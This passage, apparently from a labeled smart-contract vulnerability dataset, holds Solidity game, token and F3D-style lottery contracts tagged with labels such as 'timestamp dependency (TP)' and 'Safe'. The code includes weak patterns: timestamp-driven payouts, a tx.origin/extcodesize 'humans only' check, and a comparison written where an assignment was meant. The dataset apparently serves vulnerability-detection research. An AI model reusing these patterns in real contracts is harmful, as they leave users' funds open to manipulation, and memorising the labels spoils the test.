WithdrawEther() external { data.WithdrawEther(msg.sender); CITYDATA memory cdata = dtGetCityData(msg.sender); UpdateCityData(cdata, 0, 0, 0, 0); dtSetCityData(msg.sender, cdata); } function GetEthShop() external view returns(uint256 shopEth, uint256 shopCredits) { (shopEth, shopCredits) = data.GetEthShop(msg.sender); } function TradeEthShop(uint256 credits) external { data.TradeEthShop(msg.sender, credits); CITYDATA memory cdata = dtGetCityData(msg.sender); UpdateCityData(cdata, 0, 0, credits, 0); dtSetCityData(msg.sender, cdata); } function adminIsAdmin() external view returns(bool) { return msg.sender == owner || msg.sender == admin; } function adminSetAdmin(address addr) external { require(msg.sender == owner); admin = addr; } function adminSetConfig(address dta, address cfg, address rnk) external { require(msg.sender == owner || msg.sender == admin); data = EtherCityData(dta); config = EtherCityConfig(cfg); rank = EtherCityRank(rnk); } function adminAddWorldBalance() external payable { require(msg.value > 0); require(msg.sender == owner || msg.sender == admin); UpdateEthBalance(msg.value, msg.value); } function adminGetBalance() external view returns(uint256 dta_bal, uint256 cfg_bal, uint256 rnk_bal, uint256 cty_bal) { require(msg.sender == owner || msg.sender == admin); dta_bal = address(data).balance; cfg_bal = address(config).balance; rnk_bal = address(rank).balance; cty_bal = address(this).balance; } function nowday() private view returns(uint256) { return block.timestamp / 24 hours; } function daytime(uint256 day) private pure returns(uint256) { return day * 24 hours; } function ConstructBuilding(CITYDATA memory cdata, uint256 id, uint256 count, bool byCredit) private returns(bool) { uint256 a_population; uint256 a_crdtsec; uint256 cnstcrdt; uint256 cnsteth; if (count > cdata.landUnoccupied) return false; (a_population, a_crdtsec) = UpdateBuildingParam(cdata, id, count, 0); if ((a_population == 0) && (a_crdtsec == 0)) return false; (cnstcrdt, cnsteth) = config.GetConstructCost(id, count); if (!byCredit) UpdateEthBalance(cnsteth, msg.value); UpdateCityData(cdata, a_population, 0, cnstcrdt, a_crdtsec); if (a_population != 0) rank.UpdateRank(msg.sender, cdata.population, cdata.lasttime); return true; } function UpdateBuildingParam(CITYDATA memory cdata, uint256 id, uint256 cnstcount, uint256 updcount) private returns(uint256 a_population, uint256 a_crdtsec) { uint256 population; uint256 crdtsec; uint256 maxupd; BUILDINGDATA memory bdata = dtGetBuildingData(msg.sender, id); if (bdata.upgradeCount == 0) bdata.upgradeCount = 1; a_population = 0; a_crdtsec = 0; (population, crdtsec, maxupd) = config.GetBuildingParam(id); if (cnstcount > cdata.landUnoccupied) return; cdata.landOccupied += cnstcount; cdata.landUnoccupied -= cnstcount; if (bdata.upgradeCount + updcount > maxupd) return; (a_population, a_crdtsec) = CalcBuildingParam(bdata); bdata.population = population; bdata.creditsPerSec = crdtsec; bdata.constructCount += cnstcount; bdata.upgradeCount += updcount; (population, crdtsec) = CalcBuildingParam(bdata); dtSetBuildingData(msg.sender, id, bdata); a_population = population - a_population; a_crdtsec = crdtsec - a_crdtsec; } function CalcBuildingParam(BUILDINGDATA memory bdata) private pure returns(uint256 population, uint256 crdtsec) { uint256 count; count = bdata.constructCount * bdata.upgradeCount; population = bdata.population * count; crdtsec = bdata.creditsPerSec * count; } function CalcIncCredits(CITYDATA memory cdata) private view returns(uint256) { return SafeMath.muldiv(cdata.creditsPerSec, block.timestamp - cdata.lasttime, INTFLOATDIV); } function UpdateCityData(CITYDATA memory cdata, uint256 pop, uint256 inccrdt, uint256 deccrdt, uint256 crdtsec) private { uint256 day; day = nowday(); inccrdt += CalcIncCredits(cdata); require((cdata.credits + inccrdt) >= deccrdt); inccrdt -= deccrdt; cdata.population += pop; cdata.credits += inccrdt; cdata.creditsPerSec += crdtsec; cdata.lasttime = block.timestamp; WORLDDATA memory wdata = dtGetWorldData(); wdata.population += pop; wdata.credits += inccrdt; dtSetWorldData(wdata); WORLDSNAPSHOT memory wss = dtValidateWorldSnapshot(day); wss.population += pop; wss.credits += inccrdt; wss.lasttime = block.timestamp; dtSetWorldSnapshot(day, wss); CITYSNAPSHOT memory css = dtValidateCitySnapshot(msg.sender, day); css.population += pop; css.credits += inccrdt; css.shopCredits += inccrdt; css.lasttime = block.timestamp; dtSetCitySnapshot(msg.sender, day, css); } function UpdateEthBalance(uint256 eth, uint256 val) private returns(bool) { uint256 devf; uint256 fndf; uint256 rnkf; if (eth > val) { fndf = dtGetEthBalance(msg.sender); require(eth - val <= fndf); dtSetEthBalance(msg.sender, fndf - eth + val); } devf = eth * 17 / 100; fndf = eth * 33 / 100; rnkf = fndf * 70 / 100; data.UpdateEthBalance.value(val)(eth - devf - fndf, devf, rnkf, fndf - rnkf); } function dtGetWorldData() private view returns(WORLDDATA memory wdata) { (wdata.ethBalance, wdata.ethDev, wdata.population, wdata.credits, wdata.starttime) = data.GetWorldData(); } function dtSetWorldData(WORLDDATA memory wdata) private { data.SetWorldData(wdata.ethBalance, wdata.ethDev, wdata.population, wdata.credits, wdata.starttime); } function dtSetWorldSnapshot(uint256 day, WORLDSNAPSHOT memory wss) private { data.SetWorldSnapshot(day, true, wss.population, wss.credits, wss.lasttime); } function dtCreateCityData(address player, uint256 crdtsec, uint256 landcount) private returns(CITYDATA memory) { data.CreateCityData(player, crdtsec, landcount); return dtGetCityData(player); } function dtGetCityData(address player) private view returns(CITYDATA memory cdata) { (cdata.credits, cdata.population, cdata.creditsPerSec, cdata.landOccupied, cdata.landUnoccupied, cdata.lasttime) = data.GetCityData(player); } function dtSetCityData(address player, CITYDATA memory cdata) private { data.SetCityData(player, cdata.credits, cdata.population, cdata.creditsPerSec, cdata.landOccupied, cdata.landUnoccupied, cdata.lasttime); } function dtSetCitySnapshot(address player, uint256 day, CITYSNAPSHOT memory css) private { data.SetCitySnapshot(player, day, true, css.population, css.credits, css.shopCredits, css.lasttime); } function dtGetBuildingData(address player, uint256 id) private view returns(BUILDINGDATA memory bdata) { (bdata.constructCount, bdata.upgradeCount, bdata.population, bdata.creditsPerSec) = data.GetBuildingData(player, id); } function dtSetBuildingData(address player, uint256 id, BUILDINGDATA memory bdata) private { data.SetBuildingData(player, id, bdata.constructCount, bdata.upgradeCount, bdata.population, bdata.creditsPerSec); } function dtGetEthBalance(address player) private view returns(uint256) { return data.GetEthBalance(player); } function dtSetEthBalance(address player, uint256 eth) private { data.SetEthBalance(player, eth); } function dtAddEthBalance(address player, uint256 eth) private { data.AddEthBalance(player, eth); } function dtValidateWorldSnapshot(uint256 day) private returns(WORLDSNAPSHOT memory wss) { uint256 ethRankFund; (ethRankFund, wss.population, wss.credits, wss.lasttime) = data.ValidateWorldSnapshot(day); } function dtTestWorldSnapshot(uint256 day) private view returns(uint256 ethRankFund, WORLDSNAPSHOT memory wss) { (ethRankFund, wss.population, wss.credits, wss.lasttime) = data.TestWorldSnapshot(day); } function dtValidateCitySnapshot(address player, uint256 day) private returns(CITYSNAPSHOT memory css) { (css.population, css.credits, css.shopCredits, css.lasttime) = data.ValidateCitySnapshot(player, day); } function dtTestCitySnapshot(address player, uint256 day) private view returns(CITYSNAPSHOT memory css) { (css.population, css.credits, css.shopCredits, css.lasttime) = data.TestCitySnapshot(player, day); } }",./Dataset/timestamp dependency (TP)/,6,6 0x054c64741dbafdc19784505494029823d89c3b13_EternalToken.sol,"pragma solidity ^0.4.23; // ---------------------------------------------------------------------------- // 'ETERNAL TOKEN' token contract // // Symbol : XET // Name : ETERNAL TOKEN // Total supply: 200000000 // Decimals : 8 // // // (c) by atom-solutions 2018. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Eternal Token * @dev DistributableToken contract is based on a simple initial supply token, with an API for the owner to perform bulk distributions. * transactions to the distributeTokens function should be paginated to avoid gas limits or computational time restrictions. */ contract EternalToken is StandardToken, Ownable { string public constant name = ""ETERNAL TOKEN""; string public constant symbol = ""XET""; uint8 public constant decimals = 8; uint256 public constant INITIAL_SUPPLY = 200000000 * (10 ** uint256(decimals)); //prevent duplicate distributions mapping (address => bool) distributionLocks; /** * @dev Constructor that gives msg.sender all of existing tokens. */ function EternalToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } /** * @dev Distribute tokens to multiple addresses in a single transaction * * @param addresses A list of addresses to distribute to * @param values A corresponding list of amounts to distribute to each address */ function anailNathrachOrthaBhaisIsBeathaDoChealDeanaimh(address[] addresses, uint256[] values) onlyOwner public returns (bool success) { require(addresses.length == values.length); for (uint i = 0; i < addresses.length; i++) { require(!distributionLocks[addresses[i]]); transfer(addresses[i], values[i]); distributionLocks[addresses[i]] = true; } return true; } }",Safe,8,8 2757.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract F3DShopQuick is F3Devents{ using SafeMath for uint256; using NameFilter for string; using F3DKeysCalcFast for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x077c6697C0e6861b0e058bc3D5ba77b9f37434C6); address private admin = 0x700D7ccD114D988f0CEDDFCc60dd8c3a2f7b49FB; address private coin_base = 0x4D79AAe78608CF0317F4f785cAF449faDC1ff983; string constant public name = ""F3DLink Quick""; string constant public symbol = ""F3D""; uint256 private rndGap_ = 60 seconds; uint256 constant private rndInit_ = 5 minutes; uint256 constant private rndInc_ = 5 minutes; uint256 constant private rndMax_ = 5 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && round_[_rID].eth != 0 && _now <= round_[_rID].end) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else if (_now <= round_[_rID].end) return ( ((round_[_rID].ico.keys()).add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 100000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now <= round_[_rID].strt + rndGap_) return( ((round_[_rID].end).sub(rndInit_)).sub(_now) ); else if (_now < round_[_rID].end) return( (round_[_rID].end).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false) { uint256 _roundMask; uint256 _roundEth; uint256 _roundKeys; uint256 _roundPot; if (round_[_rID].eth == 0 && round_[_rID].ico > 0) { _roundEth = round_[_rID].ico; _roundKeys = (round_[_rID].ico).keys(); _roundMask = ((round_[_rID].icoGen).mul(1000000000000000000)) / _roundKeys; _roundPot = (round_[_rID].pot).add((round_[_rID].icoGen).sub((_roundMask.mul(_roundKeys)) / (1000000000000000000))); } else { _roundEth = round_[_rID].eth; _roundKeys = round_[_rID].keys; _roundMask = round_[_rID].mask; _roundPot = round_[_rID].pot; } uint256 _playerKeys; if (plyrRnds_[_pID][plyr_[_pID].lrnd].ico == 0) _playerKeys = plyrRnds_[_pID][plyr_[_pID].lrnd].keys; else _playerKeys = calcPlayerICOPhaseKeys(_pID, _rID); if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( (_roundPot.mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _roundMask, _roundPot, _roundKeys, _playerKeys) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _roundMask, uint256 _roundPot, uint256 _roundKeys, uint256 _playerKeys) private view returns(uint256) { return( (((_roundMask.add((((_roundPot.mul(potSplit_[round_[rID_].team].gen)) / 100).mul(1000000000000000000)) / _roundKeys)).mul(_playerKeys)) / 1000000000000000000).sub(plyrRnds_[_pID][rID_].mask) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (round_[_rID].eth != 0) { return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } else { return ( round_[_rID].ico, _rID, (round_[_rID].ico).keys(), round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; if (plyrRnds_[_pID][_rID].ico == 0) { return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, 0 ); } else { return ( _pID, plyr_[_pID].name, calcPlayerICOPhaseKeys(_pID, _rID), plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].ico ); } } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_ = manageRoundAndPlayer(_pID, _eventData_); if (now <= round_[rID_].strt + rndGap_) { _eventData_.compressedData = _eventData_.compressedData + 2000000000000000000000000000000; icoPhaseCore(_pID, msg.value, _team, _affID, _eventData_); } else { _eventData_.compressedData = _eventData_.compressedData + 1000000000000000000000000000000; core(_pID, msg.value, _affID, _team, _eventData_); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_ = manageRoundAndPlayer(_pID, _eventData_); plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); if (now <= round_[rID_].strt + rndGap_) { _eventData_.compressedData = _eventData_.compressedData + 3000000000000000000000000000000; icoPhaseCore(_pID, _eth, _team, _affID, _eventData_); } else { core(_pID, _eth, _affID, _team, _eventData_); } } function icoPhaseCore(uint256 _pID, uint256 _eth, uint256 _team, uint256 _affID, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; if ((round_[_rID].ico).keysRec(_eth) >= 1000000000000000000 || round_[_rID].plyr == 0) { if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } plyrRnds_[_pID][_rID].ico = _eth.add(plyrRnds_[_pID][_rID].ico); round_[_rID].ico = _eth.add(round_[_rID].ico); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; round_[_rID].icoGen = _gen.add(round_[_rID].icoGen); uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); uint256 _pot = (_eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100))).sub(_gen); round_[_rID].pot = _pot.add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; endTx(_rID, _pID, _team, _eth, 0, _eventData_); } function core(uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; if (round_[_rID].eth == 0 && round_[_rID].ico > 0) roundClaimICOKeys(_rID); if (plyrRnds_[_pID][_rID].keys == 0 && plyrRnds_[_pID][_rID].ico > 0) { plyrRnds_[_pID][_rID].keys = calcPlayerICOPhaseKeys(_pID, _rID); plyrRnds_[_pID][_rID].ico = 0; } uint256 